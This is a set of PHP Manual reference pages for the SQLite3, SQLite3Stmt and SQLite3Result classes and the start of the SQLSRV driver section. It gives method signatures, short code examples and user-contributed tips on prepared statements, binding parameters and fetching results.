  • « SQLite3::lastErrorCode
  • SQLite3::lastInsertRowID »
  • PHP Manual
  • SQLite3
  • Returns English text describing the most recent failed SQLite request

SQLite3::lastErrorMsg

(PHP 5 >= 5.3.0)

SQLite3::lastErrorMsg — Returns English text describing the most recent failed SQLite request

Description

public string SQLite3::lastErrorMsg ( void )

Returns English text describing the most recent failed SQLite request.

Parameters

This function has no parameters.

Return Values

Returns an English string describing the most recent failed SQLite request.

User Contributed Notes

There are no user contributed notes for this page.


Returns the row ID of the most recent INSERT into the database

  • « SQLite3::lastErrorMsg
  • SQLite3::loadExtension »
  • PHP Manual
  • SQLite3
  • Returns the row ID of the most recent INSERT into the database

SQLite3::lastInsertRowID

(PHP 5 >= 5.3.0)

SQLite3::lastInsertRowID — Returns the row ID of the most recent INSERT into the database

Description

public int SQLite3::lastInsertRowID ( void )

Returns the row ID of the most recent INSERT into the database.

Parameters

This function has no parameters.

Return Values

Returns the row ID of the most recent INSERT into the database

User Contributed Notes

There are no user contributed notes for this page.


Attempts to load an SQLite extension library

  • « SQLite3::lastInsertRowID
  • SQLite3::open »
  • PHP Manual
  • SQLite3
  • Attempts to load an SQLite extension library

SQLite3::loadExtension

(PHP 5 >= 5.3.0)

SQLite3::loadExtension — Attempts to load an SQLite extension library

Description

public bool SQLite3::loadExtension ( string $shared_library )

Attempts to load an SQLite extension library.

Parameters

shared_library

The name of the library to load. The library must be located in the directory specified in the configure option sqlite3.extension_dir.

Return Values

Returns TRUE if the extension is successfully loaded, FALSE on failure.

Examples

Example #1 SQLite3::loadExtension() example

<?php
$db = new SQLite3('mysqlitedb.db');
$db->loadExtension('libagg.so');
?>

User Contributed Notes

There are no user contributed notes for this page.


Opens an SQLite database

  • « SQLite3::loadExtension
  • SQLite3::prepare »
  • PHP Manual
  • SQLite3
  • Opens an SQLite database

SQLite3::open

(PHP 5 >= 5.3.0)

SQLite3::open — Opens an SQLite database

Description

public void SQLite3::open ( string $filename [, int $flags = SQLITE3_OPEN_READWRITE | SQLITE3_OPEN_CREATE [, string $encryption_key ]] )

Opens an SQLite 3 Database. If the build includes encryption, then it will attempt to use the key.

Parameters

filename

Path to the SQLite database, or :memory: to use in-memory database.

flags

Optional flags used to determine how to open the SQLite database. By default, open uses SQLITE3_OPEN_READWRITE | SQLITE3_OPEN_CREATE.

  • SQLITE3_OPEN_READONLY: Open the database for reading only.

  • SQLITE3_OPEN_READWRITE: Open the database for reading and writing.

  • SQLITE3_OPEN_CREATE: Create the database if it does not exist.

encryption_key

An optional encryption key used when encrypting and decrypting an SQLite database.

Return Values

No value is returned.

Examples

Example #1 SQLite3::open() example

<?php
/**
 * Simple example of extending the SQLite3 class and changing the __construct
 * parameters, then using the open method to initialize the DB.
 */
class MyDB extends SQLite3
{
    function __construct()
    {
        $this->open('mysqlitedb.db');
    }
}

$db = new MyDB();

$db->exec('CREATE TABLE foo (bar STRING)');
$db->exec("INSERT INTO foo (bar) VALUES ('This is a test')");

$result = $db->query('SELECT bar FROM foo');
var_dump($result->fetchArray());
?>

User Contributed Notes

jjchailloux at yahoo dot com 06-Jul-2010 04:09
PHP Fatal error:  Class 'SQLite3' not found ...

you are probably running an old version of PHP

PHP 5.2 does not know about SQLite3; only SQLite (v2)

install PHP 5.3
http://www.macupdate.com/info.php/id/7294/php on Mac OS
kbrobst at surveyresearchpartners dot com 07-Mar-2010 09:54
If you are trying to use the open() method to open multiple database files within the same SQLite3 object (which I could not get to work), here is an alternative way to do so using special SQLite3 syntax additions to the SQL language.  This took some investigation on my part, so hopefully the solution I found will help you too.

These are the nice features within SQLite3 that are leveraged:
* The create statement query for a table is stored within a table called "sqlite_master" within the parent database file.
* SQLite3 supports the "insert into...select * from" SQL syntax for doing bulkload-speed inserts into a table - but what if the source and target tables are in separate database files?
* SQLite3 has an "attach [filename] as [reference database name]" which will allow multiple database files to be opened and accessible to the same SQLite3 object.

Assume you have a table called "my_template" in the SQLite3 database file "source.db".  You want to make a copy of this table into the database file "target.db" and call the table "working_table".

<?php
//attach the source database file to the bulkload connection object;
$bulkload_connection = new SQLite3("c:/sqlite3_database_files/source.db");

//retrieve the create statement query for the source table;
$sourcetbl_create_statement = $bulkload_connection->querySingle("select sql from sqlite_master where type='table' and name='my_template'");
if ($sourcetbl_create_statement===false) exit($bulkload_connection->lastErrorMsg());

//build the create statement query for the target table;
$targettbl_create_statement = str_replace('CREATE TABLE my_template', 'CREATE TABLE bulkload.working_table', $sourcetbl_create_statement);

//attach the target database file to the bulkload connection object - and reference it as the database called [bulkload];
$result=$bulkload_connection->exec("attach 'c:/sqlite3_database_files/target.db' as bulkload");
if ($result===false) exit($bulkload_connection->lastErrorMsg());

//issue the query to create the target table within the target database file;
$result=$bulkload_connection->exec($targettbl_create_statement);
if ($result===false) exit($bulkload_connection->lastErrorMsg());

//copy the rows from the source table to the target table as quickly as possible;
$result=$bulkload_connection->exec("insert into bulkload.working_table select * from my_template");
if ($result===false) exit($bulkload_connection->lastErrorMsg());

//release the OS file locks on the attached database files;
$bulkload_connection->close();
unset($bulkload_connection);
?>


Prepares an SQL statement for execution

  • « SQLite3::open
  • SQLite3::query »
  • PHP Manual
  • SQLite3
  • Prepares an SQL statement for execution

SQLite3::prepare

(PHP 5 >= 5.3.0)

SQLite3::prepare — Prepares an SQL statement for execution

Description

public SQLite3Stmt SQLite3::prepare ( string $query )

Prepares an SQL statement for execution and returns an SQLite3Stmt object.

Parameters

query

The SQL query to prepare.

Return Values

Returns an SQLite3Stmt object on success or FALSE on failure.

Examples

Example #1 SQLite3::prepare() example

<?php
unlink('mysqlitedb.db');
$db = new SQLite3('mysqlitedb.db');

$db->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$db->exec("INSERT INTO foo (id, bar) VALUES (1, 'This is a test')");

$stmt = $db->prepare('SELECT bar FROM foo WHERE id=:id');
$stmt->bindValue(':id', 1, SQLITE3_INTEGER);

$result = $stmt->execute();
var_dump($result->fetchArray());
?>

User Contributed Notes

pavel dot lisa at centrum dot cz 12-Oct-2010 11:20
SQLite3::prepare() will fail, if you pass in a WHERE clause (in the $query) referring to a non-existent column.


Executes an SQL query

  • « SQLite3::prepare
  • SQLite3::querySingle »
  • PHP Manual
  • SQLite3
  • Executes an SQL query

SQLite3::query

(PHP 5 >= 5.3.0)

SQLite3::query — Executes an SQL query

Description

public SQLite3Result SQLite3::query ( string $query )

Executes an SQL query, returning an SQLite3Result object if the query returns results.

Parameters

query

The SQL query to execute.

Return Values

Returns an SQLite3Result object if the query returns results. Otherwise, returns TRUE if the query succeeded, FALSE on failure.

Examples

Example #1 SQLite3::query() example

<?php
$db = new SQLite3('mysqlitedb.db');

$results = $db->query('SELECT bar FROM foo');
while ($row = $results->fetchArray()) {
    var_dump($row);
}
?>

User Contributed Notes

bohwaz 13-Mar-2013 08:47
The recommended way to do a SQLite3 query is to use a statement. For a table creation, a query might be fine (and easier) but for an insert, update or select, you should really use a statement, it's really easier and safer as SQLite will escape your parameters according to their type. SQLite will also use less memory than if you created the whole query by yourself. Example:

<?php

$db = new SQLite3;
$statement = $db->prepare('SELECT * FROM table WHERE id = :id;');
$statement->bindValue(':id', $id);

$result = $statement->execute();

?>

You can also re-use a statement and change its parameters, just do $statement->reset(). Finally don't forget to close a statement when you don't need it anymore as it will free some memory.
pgarvin76 at gmail dot com 13-Jan-2011 04:31
The notes for the return value is a little misleading to me. It states that if the query does not "return results" TRUE or FALSE is returned instead. If there is a return value for this method in your PHP code this method always returns an SQLite3Result object, even if you accidentally run an INSERT, UPDATE, DELETE, CREATE TABLE, etc query through it. The only time it returns a TRUE or FALSE is if there is no return value.

<?php
$result = $dbh->query('CREATE TABLE ...');
if (!($result instanceof Sqlite3Result)) {
    echo "Query successful."; // This will never echo.
} else {
    $result->fetchArray(); // This will throw an error.
}

if ($dbh->query('CREATE TABLE ...')) {
    echo "Query successful."; // Works
} else {
    echo "Query failed."; // Will also work
}
?>
Use exec() if you are not executing a SELECT query.


Executes a query and returns a single result

  • « SQLite3::query
  • SQLite3::version »
  • PHP Manual
  • SQLite3
  • Executes a query and returns a single result

SQLite3::querySingle

(PHP 5 >= 5.3.0)

SQLite3::querySingle — Executes a query and returns a single result

Description

public mixed SQLite3::querySingle ( string $query [, bool $entire_row = false ] )

Executes a query and returns a single result.

Parameters

query

The SQL query to execute.

entire_row

By default, querySingle() returns the value of the first column returned by the query. If entire_row is TRUE, then it returns an array of the entire first row.

Return Values

Returns the value of the first column of results or an array of the entire first row (if entire_row is TRUE).

If the query is valid but no results are returned, then NULL will be returned if entire_row is FALSE, otherwise an empty array is returned.

Invalid or failing queries will return FALSE.

Examples

Example #1 SQLite3::querySingle() example

<?php
$db = new SQLite3('mysqlitedb.db');

var_dump($db->querySingle('SELECT username FROM user WHERE userid=1'));
print_r($db->querySingle('SELECT username, email FROM user WHERE userid=1', true));
?>

The above example will output something similar to:

string(5) "Scott"
Array
(
    [username] => Scott
    [email] => scott@example.com
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the SQLite3 library version as a string constant and as a number

  • « SQLite3::querySingle
  • SQLite3Stmt »
  • PHP Manual
  • SQLite3
  • Returns the SQLite3 library version as a string constant and as a number

SQLite3::version

(PHP 5 >= 5.3.0)

SQLite3::version — Returns the SQLite3 library version as a string constant and as a number

Description

public static array SQLite3::version ( void )

Returns the SQLite3 library version as a string constant and as a number.

Parameters

This function has no parameters.

Return Values

Returns an associative array with the keys "versionString" and "versionNumber".

Examples

Example #1 SQLite3::version() example

<?php
print_r(SQLite3::version());
?>

The above example will output something similar to:

Array
(
    [versionString] => 3.5.9
    [versionNumber] => 3005009
)

User Contributed Notes

There are no user contributed notes for this page.


The SQLite3Stmt class

(PHP 5 >= 5.3.0)

Introduction

A class that handles prepared statements for the SQLite 3 extension.

Class synopsis

SQLite3Stmt {
/* Methods */
public bool bindParam ( string $sql_param , mixed &$param [, int $type ] )
public bool bindValue ( string $sql_param , mixed $value [, int $type ] )
public bool clear ( void )
public bool close ( void )
public SQLite3Result execute ( void )
public int paramCount ( void )
public bool reset ( void )
}

Table of Contents

  • SQLite3Stmt::bindParam — Binds a parameter to a statement variable
  • SQLite3Stmt::bindValue — Binds the value of a parameter to a statement variable
  • SQLite3Stmt::clear — Clears all current bound parameters
  • SQLite3Stmt::close — Closes the prepared statement
  • SQLite3Stmt::execute — Executes a prepared statement and returns a result set object
  • SQLite3Stmt::paramCount — Returns the number of parameters within the prepared statement
  • SQLite3Stmt::reset — Resets the prepared statement

User Contributed Notes

bohwaz 05-Sep-2013 12:42
There is an undocumented method "readOnly" in this class, as reported on https://bugs.php.net/bug.php?id=65216

This method can be used like this :

<?php

$db = new SQLite3(':memory:');
$db->exec('CREATE TABLE test (column);');

$stmt  = $db->prepare('SELECT column FROM test;');
var_dump($stmt->readOnly()); // -> true

$stmt  = $db->prepare('INSERT INTO test (42);');
var_dump($stmt->readOnly()); // -> false

?>


Binds a parameter to a statement variable

  • « SQLite3Stmt
  • SQLite3Stmt::bindValue »
  • PHP Manual
  • SQLite3Stmt
  • Binds a parameter to a statement variable

SQLite3Stmt::bindParam

(PHP 5 >= 5.3.0)

SQLite3Stmt::bindParam — Binds a parameter to a statement variable

Description

public bool SQLite3Stmt::bindParam ( string $sql_param , mixed &$param [, int $type ] )

Binds a parameter to a statement variable.

Parameters

sql_param

An string identifying the statement variable to which the parameter should be bound.

param

The parameter to bind to a statement variable.

type

The data type of the parameter to bind.

  • SQLITE3_INTEGER: The value is a signed integer, stored in 1, 2, 3, 4, 6, or 8 bytes depending on the magnitude of the value.

  • SQLITE3_FLOAT: The value is a floating point value, stored as an 8-byte IEEE floating point number.

  • SQLITE3_TEXT: The value is a text string, stored using the database encoding (UTF-8, UTF-16BE or UTF-16-LE).

  • SQLITE3_BLOB: The value is a blob of data, stored exactly as it was input.

  • SQLITE3_NULL: The value is a NULL value.

Return Values

Returns TRUE if the parameter is bound to the statement variable, FALSE on failure.

User Contributed Notes

Anonymous 20-Oct-2014 03:31
Note that this bindParam needs a variable as the second parameter.
Use bindValue if you want to bind a value, such an array item.
Cassiano Martin 08-Feb-2014 02:27
If you use any function to put value into an array, and bind it to the statement, PHP will fill NULLs on the binded field.

eg:

$st=$db->prepare('insert into xxx(x1,x2,x3) values(?,?,?)');
$st->bindParam(1, $data[0], SQLITE3_TEXT);
$st->bindParam(2, $data[1], SQLITE3_TEXT);
$st->bindParam(3, $data[2], SQLITE3_TEXT);

$data=explode(',','php,sometimes,woofs');

This will completely fail, and NULLs will be inserted on the table.

You need to manually assign every variable on the array. Any other function which completes it, will fail and NULLs are inserted.

$temp=explode(',','php,sometimes,woofs');
$data[0]=$temp[0];
$data[1]=$temp[1];
$data[2]=$temp[2];
Anonymous 29-Jun-2011 12:51
Note:

$stmt->bindParam(1, 'lol', SQLITE3_TEXT);

That would trigger a fatal error as you cannot pass argument 2 by reference as it is a value.


Binds the value of a parameter to a statement variable

  • « SQLite3Stmt::bindParam
  • SQLite3Stmt::clear »
  • PHP Manual
  • SQLite3Stmt
  • Binds the value of a parameter to a statement variable

SQLite3Stmt::bindValue

(PHP 5 >= 5.3.0)

SQLite3Stmt::bindValue — Binds the value of a parameter to a statement variable

Description

public bool SQLite3Stmt::bindValue ( string $sql_param , mixed $value [, int $type ] )

Binds the value of a parameter to a statement variable.

Parameters

sql_param

An string identifying the statement variable to which the value should be bound.

value

The value to bind to a statement variable.

type

The data type of the value to bind.

  • SQLITE3_INTEGER: The value is a signed integer, stored in 1, 2, 3, 4, 6, or 8 bytes depending on the magnitude of the value.

  • SQLITE3_FLOAT: The value is a floating point value, stored as an 8-byte IEEE floating point number.

  • SQLITE3_TEXT: The value is a text string, stored using the database encoding (UTF-8, UTF-16BE or UTF-16-LE).

  • SQLITE3_BLOB: The value is a blob of data, stored exactly as it was input.

  • SQLITE3_NULL: The value is a NULL value.

Return Values

Returns TRUE if the value is bound to the statement variable, FALSE on failure.

Examples

Example #1 SQLite3Stmt::bindValue() example

<?php
unlink('mysqlitedb.db');
$db = new SQLite3('mysqlitedb.db');

$db->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$db->exec("INSERT INTO foo (id, bar) VALUES (1, 'This is a test')");

$stmt = $db->prepare('SELECT bar FROM foo WHERE id=:id');
$stmt->bindValue(':id', 1, SQLITE3_INTEGER);

$result = $stmt->execute();
var_dump($result->fetchArray());
?>

User Contributed Notes

zeebinz at gmail dot com 24-Jul-2010 04:54
Note that this also works with positional placeholders using the '?' token:

<?php

$stmt = $db->prepare('SELECT * FROM mytable WHERE foo = ? AND bar = ?');
$stmt->bindValue(1, 'somestring', SQLITE3_TEXT);
$stmt->bindValue(2, 42, SQLITE3_INTEGER);

?>

Positional numbering starts at 1.


Clears all current bound parameters

  • « SQLite3Stmt::bindValue
  • SQLite3Stmt::close »
  • PHP Manual
  • SQLite3Stmt
  • Clears all current bound parameters

SQLite3Stmt::clear

(PHP 5 >= 5.3.0)

SQLite3Stmt::clear — Clears all current bound parameters

Description

public bool SQLite3Stmt::clear ( void )

Clears all current bound parameters.

Parameters

This function has no parameters.

Return Values

Returns TRUE on successful clearing of bound parameters, FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Closes the prepared statement

  • « SQLite3Stmt::clear
  • SQLite3Stmt::execute »
  • PHP Manual
  • SQLite3Stmt
  • Closes the prepared statement

SQLite3Stmt::close

(PHP 5 >= 5.3.0)

SQLite3Stmt::close — Closes the prepared statement

Description

public bool SQLite3Stmt::close ( void )

Closes the prepared statement.

Parameters

This function has no parameters.

Return Values

Returns TRUE

User Contributed Notes

There are no user contributed notes for this page.


Executes a prepared statement and returns a result set object

  • « SQLite3Stmt::close
  • SQLite3Stmt::paramCount »
  • PHP Manual
  • SQLite3Stmt
  • Executes a prepared statement and returns a result set object

SQLite3Stmt::execute

(PHP 5 >= 5.3.0)

SQLite3Stmt::execute — Executes a prepared statement and returns a result set object

Description

public SQLite3Result SQLite3Stmt::execute ( void )

Executes a prepared statement and returns a result set object.

Parameters

This function has no parameters.

Return Values

Returns an SQLite3Result object on successful execution of the prepared statement, FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of parameters within the prepared statement

  • « SQLite3Stmt::execute
  • SQLite3Stmt::reset »
  • PHP Manual
  • SQLite3Stmt
  • Returns the number of parameters within the prepared statement

SQLite3Stmt::paramCount

(PHP 5 >= 5.3.0)

SQLite3Stmt::paramCount — Returns the number of parameters within the prepared statement

Description

public int SQLite3Stmt::paramCount ( void )

Returns the number of parameters within the prepared statement.

Parameters

This function has no parameters.

Return Values

Returns the number of parameters within the prepared statement.

User Contributed Notes

There are no user contributed notes for this page.


Resets the prepared statement

  • « SQLite3Stmt::paramCount
  • SQLite3Result »
  • PHP Manual
  • SQLite3Stmt
  • Resets the prepared statement

SQLite3Stmt::reset

(PHP 5 >= 5.3.0)

SQLite3Stmt::reset — Resets the prepared statement

Description

public bool SQLite3Stmt::reset ( void )

Resets the prepared statement to its state prior to execution. All bindings remain intact after reset.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the statement is successfully reset, FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


The SQLite3Result class

(PHP 5 >= 5.3.0)

Introduction

A class that handles result sets for the SQLite 3 extension.

Class synopsis

SQLite3Result {
/* Methods */
public string columnName ( int $column_number )
public int columnType ( int $column_number )
public array fetchArray ([ int $mode = SQLITE3_BOTH ] )
public bool finalize ( void )
public int numColumns ( void )
public bool reset ( void )
}

Table of Contents

  • SQLite3Result::columnName — Returns the name of the nth column
  • SQLite3Result::columnType — Returns the type of the nth column
  • SQLite3Result::fetchArray — Fetches a result row as an associative or numerically indexed array or both
  • SQLite3Result::finalize — Closes the result set
  • SQLite3Result::numColumns — Returns the number of columns in the result set
  • SQLite3Result::reset — Resets the result set back to the first row

User Contributed Notes

jan at bootfinder dot co dot uk 11-Oct-2014 12:43
I use the following code to get num_rows:

<?php
...
$nrows = 0;
$result->reset();
while ($result->fetchArray())
    $nrows++;
$result->reset();
return $nrows;
...
?>
sameers dot public at gmail dot com 23-May-2014 02:30
According to http://www.php.net/manual/en/sqlite3result.columntype.php, and also per my experience, columnType() doesn't return anything other than SQLITE3_NULL. Consequently, the test suggested in the comment that tries to identify whether a column is NULL is incorrect.

The right thing to do appears to be to test if ($result->fetchArray())[0] == null.
alan71-at-free-fr 28-Dec-2010 03:34
Here's a snippet that might help you to write a fetchObject function that is also missing:

<?php

function fetchObject($sqlite3result, $objectType = NULL) {
    $array = $sqlite3result->fetchArray();

    if(is_null($objectType)) {
        $object = new stdClass();
    } else {
        // does not call this class' constructor
        $object = unserialize(sprintf('O:%d:"%s":0:{}', strlen($objectType), $objectType));
    }

    $reflector = new ReflectionObject($object);
    for($i = 0; $i < $sqlite3result->numColumns(); $i++) {
        $name = $sqlite3result->columnName($i);
        $value = $array[$name];

        try {
            $attribute = $reflector->getProperty($name);

            $attribute->setAccessible(TRUE);
            $attribute->setValue($object, $value);
        } catch (ReflectionException $e) {
            $object->$name = $value;
        }
    }

    return $object;
}

?>

Heavily inspired of Bergmann's Object Freezer :
https://github.com/sebastianbergmann/php-object-freezer/blob/master/Object/Freezer.php
claudiu at virtuamagic dot com 08-Mar-2010 11:34
fetchArray() will return bool(false) in case of 0 rows.
jonscully at gmail dot com 30-Nov-2009 10:35
Since SQLite3Result::numRows is unavailable, use:

<?php
if ($res->numColumns() && $res->columnType(0) != SQLITE3_NULL) {
    // have rows
} else {
    // zero rows
}
?>

Because when there are zero rows:
* SQLite3Result::fetchArray will return '1'
* SQLite3Result::numColumns will return '1'
* Column type for column '0' will be SQLITE3_NULL


Returns the name of the nth column

  • « SQLite3Result
  • SQLite3Result::columnType »
  • PHP Manual
  • SQLite3Result
  • Returns the name of the nth column

SQLite3Result::columnName

(PHP 5 >= 5.3.0)

SQLite3Result::columnName — Returns the name of the nth column

Description

public string SQLite3Result::columnName ( int $column_number )

Returns the name of the column specified by the column_number.

Parameters

column_number

The numeric zero-based index of the column.

Return Values

Returns the string name of the column identified by column_number.

User Contributed Notes

david dot barkman13 at gmail dot com 16-Apr-2010 11:23
Example:

<?php
    public function selectAll($table)
    {
        $results = $this->_dbConn->query("SELECT * FROM $table");
        $cols = $results->numColumns();
        while ($row = $results->fetchArray()) {
            for ($i = 1; $i < $cols; $i++) {
                echo $results->columnName($i) . ': ';
                echo $row[$i] . '<br />';
            }
            //print_r($row);
            //echo 'Username: ' . $row['USERNAME'] . '<br />';
        }
        $this->_dbConn->close();
    }
?>


Returns the type of the nth column

  • « SQLite3Result::columnName
  • SQLite3Result::fetchArray »
  • PHP Manual
  • SQLite3Result
  • Returns the type of the nth column

SQLite3Result::columnType

(PHP 5 >= 5.3.0)

SQLite3Result::columnType — Returns the type of the nth column

Description

public int SQLite3Result::columnType ( int $column_number )

Returns the type of the column identified by column_number.

Parameters

column_number

The numeric zero-based index of the column.

Return Values

Returns the data type index of the column identified by column_number (one of SQLITE3_INTEGER, SQLITE3_FLOAT, SQLITE3_TEXT, SQLITE3_BLOB, or SQLITE3_NULL).

User Contributed Notes

jean-marc at paratte dot ch 15-Oct-2014 09:49
To find the type of columns, you need to 'query' the SQL sentence, 'fetchArray' the 1rst row, and then extract the name and type of each column.

Example:

function _sqlite_fetch_all( $db, $sql ) {

    $sqlite = new SQLite3( $db);

    if( $sqlite->lastErrorCode() ) return;

    $result = $sqlite->query( $sql );

    $result->fetchArray( SQLITE3_NUM );
    $fieldnames = [];
    $fieldtypes = [];
    for( $colnum=0; $colnum<$result->numColumns(); $colnum++) {
        $fieldnames[] = $result->columnName($colnum);
        $fieldtypes[] = $result->columnType($colnum);
    }
    $result->reset();

    while( $row = $result->fetchArray( SQLITE3_NUM ) ) {

        for ($colnum=0; $colnum<count($row); $colnum++) {
            $col = &$row[$colnum];
            if (isset($fieldtype_encode_binary[$fieldtypes[$colnum]])) $col = $fieldtype_encode_binary[$fieldtypes[$colnum]]( $col );
        }
        unset($col);
        if ($resulttype == SQLITE3_ASSOC) $row = array_combine( $fieldnames, $row );
        $rows[] = $row;
    }

    $result->finalize();

    $sqlite->close();

    return $rows;
}

Remark 1: The type of a column is SQLITE3_NULL before any 'fetchArray' and 'false' after last fetched row.

Remark2 : The actual values of SQLITE3_INTEGER, SQLITE3_FLOAT, SQLITE3_TEXT, SQLITE3_BLOB, SQLITE3_NULL are 1, 2, 3, 4, 5.
phpnotes at carwash dot org 22-Nov-2011 07:44
This function never returns any value other than 5, indicating SQLITE3_NULL.  SQLite 3 doesn't have column types, it has column affinities.  Different rows of the same table (and rows resulting from a SELECT) can hold values of different types.  Therefore this API cannot return anything useful, and the method appears to be using SQLITE3_NULL as a placeholder.

The function in useless and should be removed or marked as deprecated in future releases, so as not to give any programmer the false idea that the values returned are useful.


Fetches a result row as an associative or numerically indexed array or both

  • « SQLite3Result::columnType
  • SQLite3Result::finalize »
  • PHP Manual
  • SQLite3Result
  • Fetches a result row as an associative or numerically indexed array or both

SQLite3Result::fetchArray

(PHP 5 >= 5.3.0)

SQLite3Result::fetchArray — Fetches a result row as an associative or numerically indexed array or both

Description

public array SQLite3Result::fetchArray ([ int $mode = SQLITE3_BOTH ] )

Fetches a result row as an associative or numerically indexed array or both. By default, fetches as both.

Parameters

mode

Controls how the next row will be returned to the caller. This value must be one of either SQLITE3_ASSOC, SQLITE3_NUM, or SQLITE3_BOTH.

  • SQLITE3_ASSOC: returns an array indexed by column name as returned in the corresponding result set

  • SQLITE3_NUM: returns an array indexed by column number as returned in the corresponding result set, starting at column 0

  • SQLITE3_BOTH: returns an array indexed by both column name and number as returned in the corresponding result set, starting at column 0

Return Values

Returns a result row as an associatively or numerically indexed array or both. Alternately will return FALSE if there are no more rows.

User Contributed Notes

Jason 04-Oct-2014 07:21
Would just like to point out for clarification that each call to fetchArray() returns the next result from SQLite3Result in an array, until there are no more results, whereupon the next fetchArray() call will return false.

HOWEVER an additional call of fetchArray() at this point will reset back to the beginning of the result set and once again return the first result. This does not seem to explicitly documented, and caused me my own fair share of headaches for a while until I figured it out.

For example:

<?php
        $returned_set = $database->query("select query or whatever");

        //Lets say the query returned 3 results
        //Normally the following while loop would run 3 times then, as $result wouldn't be false until the fourth call to fetchArray()
        while($result = $returned_set->fetchArray()) {
                //HOWEVER HAVING AN ADDITIONAL CALL IN THE LOOP WILL CAUSE THE LOOP TO RUN AGAIN
                $returned_set->fetchArray();
        }
?>

Basically, in the above code fetchArray will return:
1st call | 1st result from $returned_set (fetchArray() call from while condition)
2nd call | 2nd result  (fetchArray() call from while block)
3rd call | 3rd result  (fetchArray() call from while condition)
4th call |FALSE  (fetchArray() call from while block)
5th call | 1st result  (fetchArray() call from while condition)
....

This will cause (at least in this case) the while loop to run infinitely.
alan at synergymx dot com 15-Sep-2010 01:56
To loop through a record set:

<?php
        $db = new SQLite3('auth.sqlite');

        $sql = "SELECT user_id, username, opt_status FROM tbl_user";

        $result = $db->query($sql);//->fetchArray(SQLITE3_ASSOC);

        $row = array();

        $i = 0;

         while($res = $result->fetchArray(SQLITE3_ASSOC)){

             if(!isset($res['user_id'])) continue;

              $row[$i]['user_id'] = $res['user_id'];
              $row[$i]['username'] = $res['username'];
              $row[$i]['opt_status'] = $res['opt_status'];

              $i++;

          }

          print_r($row);
?>


Closes the result set

  • « SQLite3Result::fetchArray
  • SQLite3Result::numColumns »
  • PHP Manual
  • SQLite3Result
  • Closes the result set

SQLite3Result::finalize

(PHP 5 >= 5.3.0)

SQLite3Result::finalize — Closes the result set

Description

public bool SQLite3Result::finalize ( void )

Closes the result set.

Parameters

This function has no parameters.

Return Values

Returns TRUE.

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of columns in the result set

  • « SQLite3Result::finalize
  • SQLite3Result::reset »
  • PHP Manual
  • SQLite3Result
  • Returns the number of columns in the result set

SQLite3Result::numColumns

(PHP 5 >= 5.3.0)

SQLite3Result::numColumns — Returns the number of columns in the result set

Description

public int SQLite3Result::numColumns ( void )

Returns the number of columns in the result set.

Parameters

This function has no parameters.

Return Values

Returns the number of columns in the result set.

User Contributed Notes

jwzumwalt at neatinfo dot com 31-Oct-2010 03:33
Here is an example:

<?php
   $query = "SELECT * FROM 't1' ";
   $result = $db->query($query) or die("Error in query: <span style='color:red;'>$query</span>");
   $num_columns =  $result->numColumns();
?>

[Edited by: googleguy@php.net]


Resets the result set back to the first row

  • « SQLite3Result::numColumns
  • SQLSRV »
  • PHP Manual
  • SQLite3Result
  • Resets the result set back to the first row

SQLite3Result::reset

(PHP 5 >= 5.3.0)

SQLite3Result::reset — Resets the result set back to the first row

Description

public bool SQLite3Result::reset ( void )

Resets the result set back to the first row.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the result set is successfully reset back to the first row, FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Microsoft SQL Server Driver for PHP

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • SQLSRV Functions
    • sqlsrv_begin_transaction — Begins a database transaction
    • sqlsrv_cancel — Cancels a statement
    • sqlsrv_client_info — Returns information about the client and specified connection
    • sqlsrv_close — Closes an open connection and releases resourses associated with the connection
    • sqlsrv_commit — Commits a transaction that was begun with sqlsrv_begin_transaction
    • sqlsrv_configure — Changes the driver error handling and logging configurations
    • sqlsrv_connect — Opens a connection to a Microsoft SQL Server database
    • sqlsrv_errors — Returns error and warning information about the last SQLSRV operation performed
    • sqlsrv_execute — Executes a statement prepared with sqlsrv_prepare
    • sqlsrv_fetch_array — Returns a row as an array
    • sqlsrv_fetch_object — Retrieves the next row of data in a result set as an object
    • sqlsrv_fetch — Makes the next row in a result set available for reading
    • sqlsrv_field_metadata — Retrieves metadata for the fields of a statement prepared by sqlsrv_prepare or sqlsrv_query
    • sqlsrv_free_stmt — Frees all resources for the specified statement
    • sqlsrv_get_config — Returns the value of the specified configuration setting
    • sqlsrv_get_field — Gets field data from the currently selected row
    • sqlsrv_has_rows — Indicates whether the specified statement has rows
    • sqlsrv_next_result — Makes the next result of the specified statement active
    • sqlsrv_num_fields — Retrieves the number of fields (columns) on a statement
    • sqlsrv_num_rows — Retrieves the number of rows in a result set
    • sqlsrv_prepare — Prepares a query for execution
    • sqlsrv_query — Prepares and executes a query.
    • sqlsrv_rollback — Rolls back a transaction that was begun with sqlsrv_begin_transaction
    • sqlsrv_rows_affected — Returns the number of rows modified by the last INSERT, UPDATE, or DELETE query executed
    • sqlsrv_send_stream_data — Sends data from parameter streams to the server
    • sqlsrv_server_info — Returns information about the server

User Contributed Notes

CasB 15-Nov-2013 04:47
There is no official sqlsrv release from Microsoft for PHP 5.5 at this moment.

There is an unofficial release: http://sqlsrvphp.codeplex.com/discussions/441706


Introduction

The SQLSRV extension allows you to access Microsoft SQL Server and SQL Azure databases when running PHP on Windows. The 3.0 release of the driver supports SQL Server, beginning with SQL Server 2005, including SQL Server 2012 and SQL Server 2012 LocalDB. (For more information about LocalDB, see » PHP Driver for SQL Server Support for LocalDB and » SQL Server 2012 Express LocalDB.)

The SQLSRV extension is supported by Microsoft and available for download here: » http://msdn.microsoft.com/en-us/sqlserver/ff657782.aspx. SQL Server 2012 LocalDB can be downloaded here: » http://go.microsoft.com/fwlink/?LinkID=237665.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

The SQLSRV extension can be used on the following operating systems:

  • Windows Vista Service Pack 2 or later
  • Windows Server 2008 Service Pack 2 or later
  • Windows Server 2008 R2
  • Windows 7

The SQLSRV extension requires that the Microsoft SQL Server 2012 Native Client be installed on the same computer that is running PHP. If the Microsoft SQL Server 2012 Native Client is not already installed, click the appropriate link below to download it:

  • » Download the x86 package
  • » Download the x64 package

